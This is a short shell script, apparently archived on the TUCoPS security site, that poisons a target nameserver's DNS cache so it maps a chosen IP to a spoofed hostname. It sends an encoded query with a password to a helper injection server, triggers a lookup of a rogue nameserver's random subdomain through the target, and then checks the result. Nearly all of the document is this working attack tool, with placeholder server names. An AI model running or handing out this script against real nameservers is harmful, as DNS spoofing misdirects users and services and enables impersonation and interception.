#!/bin/sh
#
# script to Spoof hostname based on |savage|'s injection and dns
# colors
F_RESET="[0m"
F_BLACK="[0;30m"
F_GREEN="[0;32m"
F_BLUE="[0;34m"
F_MAGENTA="[0;35m"
F_WHITE="[0;37m"
H_BLACK="[1;30m"
H_GREEN="[1;32m"
H_BLUE="[1;34m"
H_MAGENTA="[1;35m"
H_WHITE="[1;37m"
PASSWORD=senha
INJ_SERVER=maquina.que.roda.o.injection
SPOOF_SERVER=maquina.que.da.ns.ao.injection
spaces=" "
draw=$H_BLACK"o"$F_WHITE"O"$H_WHITE"o"$F_RESET
draw2=$H_WHITE"o"$F_WHITE"O"$H_BLACK"o"$F_RESET
if [ $# -ne '3' ]; then
echo "usage: cache <ip> <host> <ns to cache on>"
exit
fi
# setting
info=`echo "oO Setting [$2 IN A $1] Oo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' setting '$H_BLACK'['$H_MAGENTA$2' '$F_MAGENTA'A '$H_MAGENTA$1$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"
nslookup @$PASSWORD@$1@$2. $INJ_SERVER > /dev/null 2> /dev/null
# injection
info=`echo "oOo Injection [$SPOOF_SERVER > $3] oOo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' injecting '$H_BLACK'['$H_GREEN$SPOOF_SERVER' '$F_GREEN'on '$H_GREEN$3$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"
nslookup $RANDOM.$SPOOF_SERVER $3 > /dev/null 2> /dev/null
# testing
server=`nslookup $1 $3 2>/dev/null | grep Name | cut -d ":" -f2`
server=`echo $server`
info=`echo "oOo Testing $1 is $server oOo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' testing '$H_BLACK'['$H_BLUE$1' '$F_BLUE'is '$H_BLUE$server$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH